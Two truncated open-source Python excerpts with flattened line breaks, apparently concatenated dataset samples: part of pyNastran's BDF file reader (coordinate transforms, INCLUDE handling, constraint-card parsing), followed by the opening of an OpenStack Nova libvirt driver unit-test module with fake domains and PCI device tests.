sorted(iteritems(nids_cd_transform)): if cd in [0, -1]: continue nids = np.array(nids) icd_transform[cd] = np.where(np.in1d(nids_all, nids))[0] if cd in nids_cp_transform: icp_transform[cd] = icd_transform[cd] for cp, nids in sorted(iteritems(nids_cd_transform)): if cp in [0, -1]: continue if cp in icd_transform: continue nids = np.array(nids) icd_transform[cd] = np.where(np.in1d(nids_all, nids))[0] return icd_transform, icp_transform, xyz_cp, nid_cp_cd def transform_xyzcp_to_xyz_cid(self, xyz_cp, icp_transform, cid=0): """ Working on faster method for calculating node locations Not validated... """ coord2 = self.coords[cid] beta2 = coord2.beta() xyz_cid0 = np.copy(xyz_cp) for cp, inode in iteritems(icp_transform): if cp == 0: continue coord = self.coords[cp] beta = coord.beta() is_beta = np.abs(np.diagonal(beta)).min() == 1. is_origin = np.abs(coord.origin).max() == 0. xyzi = coord.coord_to_xyz_array(xyz_cp[inode, :]) if is_beta and is_origin: xyz_cid0[inode, :] = np.dot(xyzi, beta) + coord.origin elif is_beta: xyz_cid0[inode, :] = np.dot(xyzi, beta) else: xyz_cid0[inode, :] = xyzi + coord.origin if cid == 0: return xyz_cid0 is_beta = np.abs(np.diagonal(beta2)).min() == 1. is_origin = np.abs(coord2.origin).max() == 0. if is_beta and is_origin: xyz_cid = coord2.xyz_to_coord_array(np.dot(xyz_cid0 - coord2.origin, beta2.T)) elif is_beta: xyz_cid = coord2.xyz_to_coord_array(np.dot(xyz_cid0, beta2.T)) else: xyz_cid = coord2.xyz_to_coord_array(xyz_cid0 - coord2.origin) return xyz_cid def get_displacement_index(self): """ Get index and transformation matricies for nodes with their output in coordinate systems other than the global. Used in combination with ``OP2.transform_displacements_to_global`` Returns ---------- i_transform : dict{int cid : (n,) int ndarray} Dictionary from coordinate id to index of the nodes in ``self.point_ids`` that their output (`CD`) in that coordinate system. Example ------- # assume GRID 1 has a CD=10 # assume GRID 2 has a CD=10 # assume GRID 5 has a CD=50 >>> model.point_ids [1, 2, 5] >>> i_transform = model.get_displacement_index() >>> i_transform[10] [0, 1] >>> i_transform[50] [2] """ nids_transform = defaultdict(list) i_transform = {} if len(self.coords) == 1: # was ncoords > 2; changed b/c seems dangerous return i_transform for nid, node in sorted(iteritems(self.nodes)): cid_d = node.Cd() if cid_d: nids_transform[cid_d].append(nid) nids_all = np.array(sorted(self.point_ids)) for cid in sorted(iterkeys(nids_transform)): nids = np.array(nids_transform[cid]) i_transform[cid] = np.where(np.in1d(nids_all, nids))[0] return nids_all, nids_transform, i_transform def get_displacement_index_transforms(self): """ Get index and transformation matricies for nodes with their output in coordinate systems other than the global. Used in combination with ``OP2.transform_displacements_to_global`` Returns ---------- i_transform : dict{int cid : (n,) int ndarray} Dictionary from coordinate id to index of the nodes in ``self.point_ids`` that their output (`CD`) in that coordinate system. beta_transforms : dict{in:3x3 float ndarray} Dictionary from coordinate id to 3 x 3 transformation matrix for that coordinate system. Example ------- # assume GRID 1 has a CD=10 # assume GRID 2 has a CD=10 # assume GRID 5 has a CD=50 >>> model.point_ids [1, 2, 5] >>> i_transform, beta_transforms = model.get_displacement_index_transforms() >>> i_transform[10] [0, 1] >>> beta_transforms[10] [1., 0., 0.] [0., 0., 1.] [0., 1., 0.] >>> i_transform[50] [2] >>> beta_transforms[50] [1., 0., 0.] [0., 1., 0.] [0., 0., 1.] """ self.deprecated('i_transforms, model.get_displacement_index_transforms()', 'itransforms, beta_transforms = model.get_displacement_index()', '0.9.0') nids_transform = defaultdict(list) i_transform = {} beta_transforms = {} if len(self.coords) == 1: # was ncoords > 2; changed b/c seems dangerous return i_transform, beta_transforms for nid, node in sorted(iteritems(self.nodes)): cid_d = node.Cd() if cid_d: nids_transform[cid_d].append(nid) nids_all = np.array(sorted(self.point_ids)) for cid in sorted(iterkeys(nids_transform)): nids = np.array(nids_transform[cid]) i_transform[cid] = np.where(np.in1d(nids_all, nids))[0] beta_transforms[cid] = self.coords[cid].beta() return i_transform, beta_transforms def _get_card_name(self, lines): """ Returns the name of the card defined by the provided lines Parameters ---------- lines : list[str] the lines of the card Returns ------- card_name : str the name of the card """ card_name = lines[0][:8].rstrip('\t, ').split(',')[0].split('\t')[0].strip('*\t ') if len(card_name) == 0: return None if ' ' in card_name or len(card_name) == 0: msg = 'card_name=%r\nline=%r in filename=%r is invalid' \ % (card_name, lines[0], self.active_filename) print(msg) raise CardParseSyntaxError(msg) return card_name.upper() def _show_bad_file(self, bdf_filename): """ Prints the 10 lines before the UnicodeDecodeError occurred. Parameters ---------- bdf_filename : str the filename to print the lines of """ lines = [] self.log.error('ENCODING - show_bad_file=%r' % self._encoding) # rU with codec_open(_filename(bdf_filename), 'r', encoding=self._encoding) as bdf_file: iline = 0 nblank = 0 while 1: try: line = bdf_file.readline().rstrip() except UnicodeDecodeError: iline0 = max([iline - 10, 0]) self.log.error('filename=%s' % self.bdf_filename) for iline1, line in enumerate(lines[iline0:iline]): self.log.error('lines[%i]=%r' % (iline0 + iline1, line)) msg = "\n%s encoding error on line=%s of %s; not '%s'" % ( self._encoding, iline, bdf_filename, self._encoding) raise RuntimeError(msg) if line: nblank = 0 else: nblank += 1 if nblank == 20: raise RuntimeError('20 blank lines') iline += 1 lines.append(line) def _get_lines(self, bdf_filename, punch=False): """ Opens the bdf and extracts the lines Parameters ---------- bdf_filename : str the main bdf_filename punch : bool, optional is this a punch file (default=False; no executive/case control decks) Returns ------- executive_control_lines : list[str] the executive control deck as a list of strings case_control_lines : list[str] the case control deck as a list of strings bulk_data_lines : list[str] the bulk data deck as a list of strings """ #: the directory of the 1st BDF (include BDFs are relative to this one) self.include_dir = os.path.dirname(os.path.abspath(bdf_filename)) with self._open_file(bdf_filename, basename=True) as bdf_file: try: lines = bdf_file.readlines() except: self._show_bad_file(bdf_filename) nlines = len(lines) i = 0 while i < nlines: try: line = lines[i].rstrip('\r\n\t') except IndexError: break uline = line.upper() if uline.startswith('INCLUDE'): j = i + 1 line_base = line.split('$')[0] include_lines = [line_base.strip()] #self.log.debug('----------------------') line_base = line_base[8:].strip() if line_base.startswith("'") and line_base.endswith("'"): pass else: while not line.split('$')[0].endswith("'") and j < nlines: #print('j=%s nlines=%s less?=%s' % (j, nlines, j < nlines)) try: line = lines[j].split('$')[0].strip() except IndexError: #print('bdf_filename=%r' % bdf_filename) crash_name = 'pyNastran_crash.bdf' self._dump_file(crash_name, lines, i+1) msg = 'There was an invalid filename found while parsing (index).\n' msg += 'Check the end of %r\n' % crash_name msg += 'bdf_filename2 = %r' % bdf_filename raise IndexError(msg) #print('endswith_quote=%s; %r' % ( #line.split('$')[0].strip().endswith(""), line.strip())) include_lines.append(line.strip()) j += 1 #print('j=%s nlines=%s less?=%s' % (j, nlines, j < nlines)) #print('*** %s' % line) #bdf_filename2 = line[7:].strip(" '") #include_lines = [line] + lines[i+1:j] #print(include_lines) bdf_filename2 = get_include_filename(include_lines, include_dir=self.include_dir) if self.read_includes: try: self._open_file_checks(bdf_filename2) except IOError: crash_name = 'pyNastran_crash.bdf' self._dump_file(crash_name, lines, j) msg = 'There was an invalid filename found while parsing.\n' msg += 'Check the end of %r\n' % crash_name msg += 'bdf_filename2 = %r\n' % bdf_filename2 msg += 'abs_filename2 = %r\n' % os.path.abspath(bdf_filename2) #msg += 'len(bdf_filename2) = %s' % len(bdf_filename2) print(msg) raise #raise IOError(msg) with self._open_file(bdf_filename2, basename=False) as bdf_file: #print('bdf_file.name = %s' % bdf_file.name) lines2 = bdf_file.readlines() #print('lines2 = %s' % lines2) nlines += len(lines2) #line2 = lines[j].split('$') #if not line2[0].isalpha(): #print('** %s' % line2) include_comment = '\n$ INCLUDE processed: %s\n' % bdf_filename2 #for line in lines2: #print(" ?%s" % line.rstrip()) lines = lines[:i] + [include_comment] + lines2 + lines[j:] #for line in lines: #print(" *%s" % line.rstrip()) else: lines = lines[:i] + lines[j:] self.reject_lines.append(include_lines) #self.reject_lines.append(write_include(bdf_filename2)) i += 1 if self.dumplines: self._dump_file('pyNastran_dump.bdf', lines, i) return _lines_to_decks(lines, i, punch) def _dump_file(self, bdf_dump_filename, lines, i): """ Writes a BDF up to some failed line index Parameters ---------- bdf_dump_filename : str the bdf filename to dump lines : List[str] the entire list of lines i : int the last index to write """ with codec_open(_filename(bdf_dump_filename), 'w', encoding=self._encoding) as crash_file: for line in lines[:i]: crash_file.write(line) def _increase_card_count(self, card_name, count_num=1): """ Used for testing to check that the number of cards going in is the same as each time the model is read verifies proper writing of cards Parameters ---------- card_name : str the card_name -> 'GRID' count_num : int, optional the amount to increment by (default=1) >>> bdf.read_bdf(bdf_filename) >>> bdf.card_count['GRID'] 50 """ if card_name in self.card_count: self.card_count[card_name] += count_num else: self.card_count[card_name] = count_num def _open_file_checks(self, bdf_filename, basename=False): """ Verifies that the BDF about to be opened: 1. Exists 2. Is Unique 3. Isn't an OP2 4. Is a File """ if basename: bdf_filename_inc = os.path.join(self.include_dir, os.path.basename(bdf_filename)) else: bdf_filename_inc = os.path.join(self.include_dir, bdf_filename) if not os.path.exists(_filename(bdf_filename_inc)): msg = 'No such bdf_filename: %r\n' % bdf_filename_inc msg += 'cwd: %r\n' % os.getcwd() msg += 'include_dir: %r\n' % self.include_dir msg += print_bad_path(bdf_filename_inc) print(msg) raise IOError(msg) elif bdf_filename_inc.endswith('.op2'): print(msg) msg = 'Invalid filetype: bdf_filename=%r' % bdf_filename_inc raise IOError(msg) bdf_filename = bdf_filename_inc if bdf_filename in self.active_filenames: msg = 'bdf_filename=%s is already active.\nactive_filenames=%s' \ % (bdf_filename, self.active_filenames) print(msg) raise RuntimeError(msg) elif os.path.isdir(_filename(bdf_filename)): current_filename = self.active_filename if len(self.active_filenames) > 0 else 'None' msg = 'Found a directory: bdf_filename=%r\ncurrent_file=%s' % ( bdf_filename_inc, current_filename) print(msg) raise IOError(msg) elif not os.path.isfile(_filename(bdf_filename)): msg = 'Not a file: bdf_filename=%r' % bdf_filename print(msg) raise IOError(msg) def _open_file(self, bdf_filename, basename=False, check=True): """ Opens a new bdf_filename with the proper encoding and include directory Parameters ---------- bdf_filename : str the filename to open basename : bool (default=False) should the basename of bdf_filename be appended to the include directory """ if basename: bdf_filename_inc = os.path.join(self.include_dir, os.path.basename(bdf_filename)) else: bdf_filename_inc = os.path.join(self.include_dir, bdf_filename) self._validate_open_file(bdf_filename, bdf_filename_inc, check) self.log.debug('opening %r' % bdf_filename_inc) self.active_filenames.append(bdf_filename_inc) #print('ENCODING - _open_file=%r' % self._encoding) bdf_file = codec_open(_filename(bdf_filename_inc), 'r', encoding=self._encoding) return bdf_file def _validate_open_file(self, bdf_filename, bdf_filename_inc, check): """ checks that the file doesn't have obvious errors - hasn't been used - not a directory - is a file Parameters ---------- bdf_filename : str the current bdf filename bdf_filename_inc : str the next bdf filename Raises ------ RuntimeError : file is active IOError : Invalid file type """ if check: if not os.path.exists(_filename(bdf_filename_inc)): msg = 'No such bdf_filename: %r\n' % bdf_filename_inc msg += 'cwd: %r\n' % os.getcwd() msg += 'include_dir: %r\n' % self.include_dir msg += print_bad_path(bdf_filename_inc) raise IOError(msg) elif bdf_filename_inc.endswith('.op2'): raise IOError('Invalid filetype: bdf_filename=%r' % bdf_filename_inc) bdf_filename = bdf_filename_inc if bdf_filename in self.active_filenames: msg = 'bdf_filename=%s is already active.\nactive_filenames=%s' \ % (bdf_filename, self.active_filenames) raise RuntimeError(msg) elif os.path.isdir(_filename(bdf_filename)): current_fname = self.active_filename if len(self.active_filenames) > 0 else 'None' raise IOError('Found a directory: bdf_filename=%r\ncurrent_file=%s' % ( bdf_filename_inc, current_fname)) elif not os.path.isfile(_filename(bdf_filename)): raise IOError('Not a file: bdf_filename=%r' % bdf_filename) def _parse_spc1(self, card_name, cards): """adds SPC1s""" for comment, card_lines in cards: card_obj = self._cardlines_to_card_obj(card_lines, card_name) constraint_id, dofs, node_ids = get_spc1_constraint(card_obj) if constraint_id in self.spc1: spc1 = self.spc1[constraint_id] else: spc1 = SPC1(self) self.spc1[constraint_id] = spc1 #spc1 = self.spc1.setdefault(constraint_id, SPC1(self)) #spc1.add_card(card_obj, comment=comment) spc1.add(constraint_id, dofs, node_ids, comment=comment) self._increase_card_count(card_name, len(cards)) def _parse_mpc(self, card_name, cards): """adds MPCs""" for comment, card_lines in cards: card_obj = self._cardlines_to_card_obj(card_lines, card_name) constraint_id, constraint = get_mpc_constraint(card_obj) if constraint_id in self.mpc: mpc = self.mpc[constraint_id] else: mpc = MPC(self) self.mpc[constraint_id] = mpc #mpc = self.mpc.setdefault(constraint_id, MPC(self)) #mpc.add_card(card_obj, comment=comment) mpc.add(constraint_id, constraint, comment=comment) for constraint_id, constraint in iteritems(self.mpc): constraint.build() self._increase_card_count(card_name, len(cards)) def _parse_spcadd(self, card_name, cards): """adds SPCADDs""" for comment, card_lines in cards: card_obj = self._cardlines_to_card_obj(card_lines, card_name) constraint_id, node_ids = get_spcadd_constraint(card_obj) if constraint_id in self.spcadd: spcadd = self.spcadd[constraint_id] else: spcadd = SPCADD(self) self.spcadd[constraint_id] = spcadd #spcadd.add_card(card_obj, comment=comment) spcadd.add(constraint_id, node_ids, comment=comment) self._increase_card_count(card_name, len(cards)) def _parse_mpcadd(self, card_name, cards): """adds MPCADDs""" for comment, card_lines in cards: card_obj = self._cardlines_to_card_obj(card_lines, card_name) constraint_id, node_ids = get_spcadd_constraint(card_obj) if constraint_id in self.mpcadd: mpcadd = self.mpcadd[constraint_id] else: mpcadd = MPCADD(self) self.mpcadd[constraint_id] = mpcadd #mpcadd.add_card(card_obj, comment=comment) mpcadd.add(constraint_id, node_ids, comment=comment) self._increase_card_count(card_name, len(cards)) def _parse_spc(self, card_name, cards): """SPC""" self._parse_spci(card_name, cards, SPC, self.spc) def _parse_spcd(self, card_name, cards): """SPCD""" self._parse_spci(card_name, cards, SPCD, self.spcd) def _parse_spci(self, card_name, cards, obj, slot): """SPC, SPCD""" #ncards = defaultdict(int) data_comments = defaultdict(list) for comment, card_lines in cards: card_obj = self._cardlines_to_card_obj(card_lines, card_name) for i in [0, 1]: data = get_spc_constraint(card_obj, i) constraint_id, node_id = data[:2] #self.log.debug('constraint_id=%s node_id=%s dofs=%s enforced=%s' % ( #constraint_id, node_id, dofs, enforced_motion)) if node_id is None: continue data_comments[constraint_id].append((data, comment)) comment = '' for constraint_id, data_commentsi in iteritems(data_comments): instance = obj(self) slot[constraint_id] = instance instance.allocate({card_name : len(data_commentsi)}) for data_comment in data_commentsi: data, comment = data_comment constraint_id, node_id, dofs, enforced_motion = data instance.add(constraint_id, node_id, dofs, enforced_motion, comment=comment) def _parse_ctetra(self,
codeparrot/github-code-clean
# Copyright 2010 OpenStack Foundation # Copyright 2012 University Of Minho # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import contextlib import copy import errno import eventlet import fixtures import functools import mox import os import re import shutil import tempfile from eventlet import greenthread from lxml import etree import mock from oslo.config import cfg from xml.dom import minidom from nova.api.ec2 import cloud from nova.compute import flavors from nova.compute import manager from nova.compute import power_state from nova.compute import task_states from nova.compute import vm_mode from nova.compute import vm_states from nova import context from nova import db from nova import exception from nova.network import model as network_model from nova.objects import flavor as flavor_obj from nova.objects import instance as instance_obj from nova.objects import pci_device as pci_device_obj from nova.objects import service as service_obj from nova.openstack.common import fileutils from nova.openstack.common import importutils from nova.openstack.common import jsonutils from nova.openstack.common import loopingcall from nova.openstack.common import processutils from nova.openstack.common import units from nova.openstack.common import uuidutils from nova.pci import pci_manager from nova import test from nova.tests import fake_block_device from nova.tests import fake_network import nova.tests.image.fake from nova.tests import matchers from nova.tests.objects import test_pci_device from nova.tests.virt.libvirt import fake_libvirt_utils from nova import utils from nova import version from nova.virt import configdrive from nova.virt.disk import api as disk from nova.virt import driver from nova.virt import event as virtevent from nova.virt import fake from nova.virt import firewall as base_firewall from nova.virt import images from nova.virt.libvirt import blockinfo from nova.virt.libvirt import config as vconfig from nova.virt.libvirt import driver as libvirt_driver from nova.virt.libvirt import firewall from nova.virt.libvirt import imagebackend from nova.virt.libvirt import utils as libvirt_utils from nova.virt import netutils try: import libvirt except ImportError: import nova.tests.virt.libvirt.fakelibvirt as libvirt libvirt_driver.libvirt = libvirt CONF = cfg.CONF CONF.import_opt('compute_manager', 'nova.service') CONF.import_opt('host', 'nova.netconf') CONF.import_opt('my_ip', 'nova.netconf') CONF.import_opt('image_cache_subdirectory_name', 'nova.virt.imagecache') CONF.import_opt('instances_path', 'nova.compute.manager') _fake_network_info = fake_network.fake_get_instance_nw_info _fake_stub_out_get_nw_info = fake_network.stub_out_nw_api_get_instance_nw_info _ipv4_like = fake_network.ipv4_like _fake_NodeDevXml = \ {"pci_0000_04_00_3": """ <device> <name>pci_0000_04_00_3</name> <parent>pci_0000_00_01_1</parent> <driver> <name>igb</name> </driver> <capability type='pci'> <domain>0</domain> <bus>4</bus> <slot>0</slot> <function>3</function> <product id='0x1521'>I350 Gigabit Network Connection</product> <vendor id='0x8086'>Intel Corporation</vendor> <capability type='virt_functions'> <address domain='0x0000' bus='0x04' slot='0x10' function='0x3'/> <address domain='0x0000' bus='0x04' slot='0x10' function='0x7'/> <address domain='0x0000' bus='0x04' slot='0x11' function='0x3'/> <address domain='0x0000' bus='0x04' slot='0x11' function='0x7'/> </capability> </capability> </device>""", "pci_0000_04_10_7": """ <device> <name>pci_0000_04_10_7</name> <parent>pci_0000_00_01_1</parent> <driver> <name>igbvf</name> </driver> <capability type='pci'> <domain>0</domain> <bus>4</bus> <slot>16</slot> <function>7</function> <product id='0x1520'>I350 Ethernet Controller Virtual Function</product> <vendor id='0x8086'>Intel Corporation</vendor> <capability type='phys_function'> <address domain='0x0000' bus='0x04' slot='0x00' function='0x3'/> </capability> <capability type='virt_functions'> </capability> </capability> </device>"""} def mocked_bdm(id, bdm_info): bdm_mock = mock.MagicMock() bdm_mock.__getitem__ = lambda s, k: bdm_info[k] bdm_mock.get = lambda *k, **kw: bdm_info.get(*k, **kw) bdm_mock.id = id return bdm_mock def _concurrency(signal, wait, done, target, is_block_dev=False): signal.send() wait.wait() done.send() class FakeVirDomainSnapshot(object): def __init__(self, dom=None): self.dom = dom def delete(self, flags): pass class FakeVirtDomain(object): def __init__(self, fake_xml=None, uuidstr=None): self.uuidstr = uuidstr if fake_xml: self._fake_dom_xml = fake_xml else: self._fake_dom_xml = """ <domain type='kvm'> <devices> <disk type='file'> <source file='filename'/> </disk> </devices> </domain> """ def name(self): return "fake-domain %s" % self def info(self): return [power_state.RUNNING, None, None, None, None] def create(self): pass def managedSave(self, *args): pass def createWithFlags(self, launch_flags): pass def XMLDesc(self, *args): return self._fake_dom_xml def UUIDString(self): return self.uuidstr def attachDeviceFlags(self, xml, flags): pass def detachDeviceFlags(self, xml, flags): pass def snapshotCreateXML(self, xml, flags): pass def blockCommit(self, disk, base, top, bandwidth=0, flags=0): pass def blockRebase(self, disk, base, bandwidth=0, flags=0): pass def blockJobInfo(self, path, flags): pass def resume(self): pass class CacheConcurrencyTestCase(test.TestCase): def setUp(self): super(CacheConcurrencyTestCase, self).setUp() self.flags(instances_path=self.useFixture(fixtures.TempDir()).path) # utils.synchronized() will create the lock_path for us if it # doesn't already exist. It will also delete it when it's done, # which can cause race conditions with the multiple threads we # use for tests. So, create the path here so utils.synchronized() # won't delete it out from under one of the threads. self.lock_path = os.path.join(CONF.instances_path, 'locks') fileutils.ensure_tree(self.lock_path) def fake_exists(fname): basedir = os.path.join(CONF.instances_path, CONF.image_cache_subdirectory_name) if fname == basedir or fname == self.lock_path: return True return False def fake_execute(*args, **kwargs): pass def fake_extend(image, size, use_cow=False): pass self.stubs.Set(os.path, 'exists', fake_exists) self.stubs.Set(utils, 'execute', fake_execute) self.stubs.Set(imagebackend.disk, 'extend', fake_extend) self.useFixture(fixtures.MonkeyPatch( 'nova.virt.libvirt.imagebackend.libvirt_utils', fake_libvirt_utils)) def test_same_fname_concurrency(self): # Ensures that the same fname cache runs at a sequentially. uuid = uuidutils.generate_uuid() backend = imagebackend.Backend(False) wait1 = eventlet.event.Event() done1 = eventlet.event.Event() sig1 = eventlet.event.Event() thr1 = eventlet.spawn(backend.image({'name': 'instance', 'uuid': uuid}, 'name').cache, _concurrency, 'fname', None, signal=sig1, wait=wait1, done=done1) eventlet.sleep(0) # Thread 1 should run before thread 2. sig1.wait() wait2 = eventlet.event.Event() done2 = eventlet.event.Event() sig2 = eventlet.event.Event() thr2 = eventlet.spawn(backend.image({'name': 'instance', 'uuid': uuid}, 'name').cache, _concurrency, 'fname', None, signal=sig2, wait=wait2, done=done2) wait2.send() eventlet.sleep(0) try: self.assertFalse(done2.ready()) finally: wait1.send() done1.wait() eventlet.sleep(0) self.assertTrue(done2.ready()) # Wait on greenthreads to assert they didn't raise exceptions # during execution thr1.wait() thr2.wait() def test_different_fname_concurrency(self): # Ensures that two different fname caches are concurrent. uuid = uuidutils.generate_uuid() backend = imagebackend.Backend(False) wait1 = eventlet.event.Event() done1 = eventlet.event.Event() sig1 = eventlet.event.Event() thr1 = eventlet.spawn(backend.image({'name': 'instance', 'uuid': uuid}, 'name').cache, _concurrency, 'fname2', None, signal=sig1, wait=wait1, done=done1) eventlet.sleep(0) # Thread 1 should run before thread 2. sig1.wait() wait2 = eventlet.event.Event() done2 = eventlet.event.Event() sig2 = eventlet.event.Event() thr2 = eventlet.spawn(backend.image({'name': 'instance', 'uuid': uuid}, 'name').cache, _concurrency, 'fname1', None, signal=sig2, wait=wait2, done=done2) eventlet.sleep(0) # Wait for thread 2 to start. sig2.wait() wait2.send() tries = 0 while not done2.ready() and tries < 10: eventlet.sleep(0) tries += 1 try: self.assertTrue(done2.ready()) finally: wait1.send() eventlet.sleep(0) # Wait on greenthreads to assert they didn't raise exceptions # during execution thr1.wait() thr2.wait() class FakeVolumeDriver(object): def __init__(self, *args, **kwargs): pass def attach_volume(self, *args): pass def detach_volume(self, *args): pass def get_xml(self, *args): return "" def connect_volume(self, *args): """Connect the volume to a fake device.""" conf = vconfig.LibvirtConfigGuestDisk() conf.source_type = "network" conf.source_protocol = "fake" conf.source_name = "fake" conf.target_dev = "fake" conf.target_bus = "fake" return conf class FakeConfigGuestDisk(object): def __init__(self, *args, **kwargs): self.source_type = None self.driver_cache = None class FakeConfigGuest(object): def __init__(self, *args, **kwargs): self.driver_cache = None class FakeNodeDevice(object): def __init__(self, fakexml): self.xml = fakexml def XMLDesc(self, *args): return self.xml class LibvirtConnTestCase(test.TestCase): def setUp(self): super(LibvirtConnTestCase, self).setUp() self.useFixture(test.SampleNetworks()) self.flags(fake_call=True) self.user_id = 'fake' self.project_id = 'fake' self.context = context.get_admin_context() temp_dir = self.useFixture(fixtures.TempDir()).path self.flags(instances_path=temp_dir) self.flags(snapshots_directory=temp_dir, group='libvirt') self.useFixture(fixtures.MonkeyPatch( 'nova.virt.libvirt.driver.libvirt_utils', fake_libvirt_utils)) # Force libvirt to return a host UUID that matches the serial in # nova.tests.fakelibvirt. This is necessary because the host UUID # returned by libvirt becomes the serial whose value is checked for in # test_xml_and_uri_* below. self.useFixture(fixtures.MonkeyPatch( 'nova.virt.libvirt.driver.LibvirtDriver.get_host_uuid', lambda _: 'cef19ce0-0ca2-11df-855d-b19fbce37686')) self.useFixture(fixtures.MonkeyPatch( 'nova.virt.libvirt.imagebackend.libvirt_utils', fake_libvirt_utils)) def fake_extend(image, size, use_cow=False): pass self.stubs.Set(libvirt_driver.disk, 'extend', fake_extend) self.stubs.Set(imagebackend.Image, 'resolve_driver_format', imagebackend.Image._get_driver_format) class FakeConn(): def baselineCPU(self, cpu, flag): """Add new libvirt API.""" return """<cpu mode='custom' match='exact'> <model fallback='allow'>Westmere</model> <vendor>Intel</vendor> <feature policy='require' name='aes'/> </cpu>""" def getCapabilities(self): """Ensure standard capabilities being returned.""" return """<capabilities> <host><cpu><arch>x86_64</arch></cpu></host> </capabilities>""" def getVersion(self): return 1005001 def getLibVersion(self): return (0 * 1000 * 1000) + (9 * 1000) + 11 def domainEventRegisterAny(self, *args, **kwargs): pass def registerCloseCallback(self, cb, opaque): pass def nwfilterDefineXML(self, *args, **kwargs): pass def nodeDeviceLookupByName(self, x): pass def lookupByName(self, name): pass self.conn = FakeConn() self.stubs.Set(libvirt_driver.LibvirtDriver, '_connect', lambda *a, **k: self.conn) flavor = db.flavor_get(self.context, 5) sys_meta = flavors.save_flavor_info({}, flavor) nova.tests.image.fake.stub_out_image_service(self.stubs) self.test_instance = { 'uuid': '32dfcb37-5af1-552b-357c-be8c3aa38310', 'memory_kb': '1024000', 'basepath': '/some/path', 'bridge_name': 'br100', 'vcpus': 2, 'project_id': 'fake', 'bridge': 'br101', 'image_ref': '155d900f-4e14-4e4c-a73d-069cbf4541e6', 'root_gb': 10, 'ephemeral_gb': 20, 'instance_type_id': '5', # m1.small 'extra_specs': {}, 'system_metadata': sys_meta, "pci_devices": []} def relpath(self, path): return os.path.relpath(path, CONF.instances_path) def tearDown(self): nova.tests.image.fake.FakeImageService_reset() super(LibvirtConnTestCase, self).tearDown() def create_fake_libvirt_mock(self, **kwargs): """Defining mocks for LibvirtDriver(libvirt is not used).""" # A fake libvirt.virConnect class FakeLibvirtDriver(object): def defineXML(self, xml): return FakeVirtDomain() # Creating mocks volume_driver = ('iscsi=nova.tests.virt.libvirt.test_libvirt' '.FakeVolumeDriver') self.flags(volume_drivers=[volume_driver], group='libvirt') fake = FakeLibvirtDriver() # Customizing above fake if necessary for key, val in kwargs.items(): fake.__setattr__(key, val) self.flags(vif_driver="nova.tests.fake_network.FakeVIFDriver", group='libvirt') self.stubs.Set(libvirt_driver.LibvirtDriver, '_conn', fake) def fake_lookup(self, instance_name): return FakeVirtDomain() def fake_execute(self, *args, **kwargs): open(args[-1], "a").close() def _create_service(self, **kwargs): service_ref = {'host': kwargs.get('host', 'dummy'), 'disabled': kwargs.get('disabled', False), 'binary': 'nova-compute', 'topic': 'compute', 'report_count': 0} return db.service_create(context.get_admin_context(), service_ref) def _get_host_disabled(self, host): return db.service_get_by_compute_host(context.get_admin_context(), host)['disabled'] def test_set_host_enabled_with_disable(self): # Tests disabling an enabled host. conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) self._create_service(host='fake-mini') conn._set_host_enabled(False) self.assertTrue(self._get_host_disabled('fake-mini')) def test_set_host_enabled_with_enable(self): # Tests enabling a disabled host. conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) self._create_service(disabled=True, host='fake-mini') conn._set_host_enabled(True) self.assertTrue(self._get_host_disabled('fake-mini')) def test_set_host_enabled_with_enable_state_enabled(self): # Tests enabling an enabled host. conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) self._create_service(disabled=False, host='fake-mini') conn._set_host_enabled(True) self.assertFalse(self._get_host_disabled('fake-mini')) def test_set_host_enabled_with_disable_state_disabled(self): # Tests disabling a disabled host. conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) self._create_service(disabled=True, host='fake-mini') conn._set_host_enabled(False) self.assertTrue(self._get_host_disabled('fake-mini')) def test_set_host_enabled_swallows_exceptions(self): # Tests that set_host_enabled will swallow exceptions coming from the # db_api code so they don't break anything calling it, e.g. the # _get_new_connection method. conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) with mock.patch.object(db, 'service_get_by_compute_host') as db_mock: # Make db.service_get_by_compute_host raise NovaException; this # is more robust than just raising ComputeHostNotFound. db_mock.side_effect = exception.NovaException conn._set_host_enabled(False) def create_instance_obj(self, context, **params): default_params = self.test_instance default_params['pci_devices'] = pci_device_obj.PciDeviceList() default_params.update(params) instance = instance_obj.Instance(context, **params) instance.create() return instance def test_prepare_pci_device(self): pci_devices = [dict(hypervisor_name='xxx')] self.flags(virt_type='xen', group='libvirt') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) class FakeDev(): def attach(self): pass def dettach(self): pass def reset(self): pass self.mox.StubOutWithMock(self.conn, 'nodeDeviceLookupByName') self.conn.nodeDeviceLookupByName('xxx').AndReturn(FakeDev()) self.conn.nodeDeviceLookupByName('xxx').AndReturn(FakeDev()) self.mox.ReplayAll() conn._prepare_pci_devices_for_use(pci_devices) def test_prepare_pci_device_exception(self): pci_devices = [dict(hypervisor_name='xxx', id='id1', instance_uuid='uuid')] self.flags(virt_type='xen', group='libvirt') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) class FakeDev(): def attach(self): pass def dettach(self): raise libvirt.libvirtError("xxxxx") def reset(self): pass self.stubs.Set(self.conn, 'nodeDeviceLookupByName', lambda x: FakeDev()) self.assertRaises(exception.PciDevicePrepareFailed, conn._prepare_pci_devices_for_use, pci_devices) def test_detach_pci_devices_exception(self): pci_devices = [dict(hypervisor_name='xxx', id='id1', instance_uuid='uuid')] conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, 'has_min_version') libvirt_driver.LibvirtDriver.has_min_version = lambda x, y: False self.assertRaises(exception.PciDeviceDetachFailed, conn._detach_pci_devices, None, pci_devices) def test_detach_pci_devices(self): fake_domXML1 =\ """<domain> <devices> <hostdev mode="subsystem" type="pci" managed="yes"> <source> <address function="0x1" slot="0x10" domain="0x0000" bus="0x04"/> </source> </hostdev></devices></domain>""" pci_devices = [dict(hypervisor_name='xxx', id='id1', instance_uuid='uuid', address="0001:04:10:1")] conn = 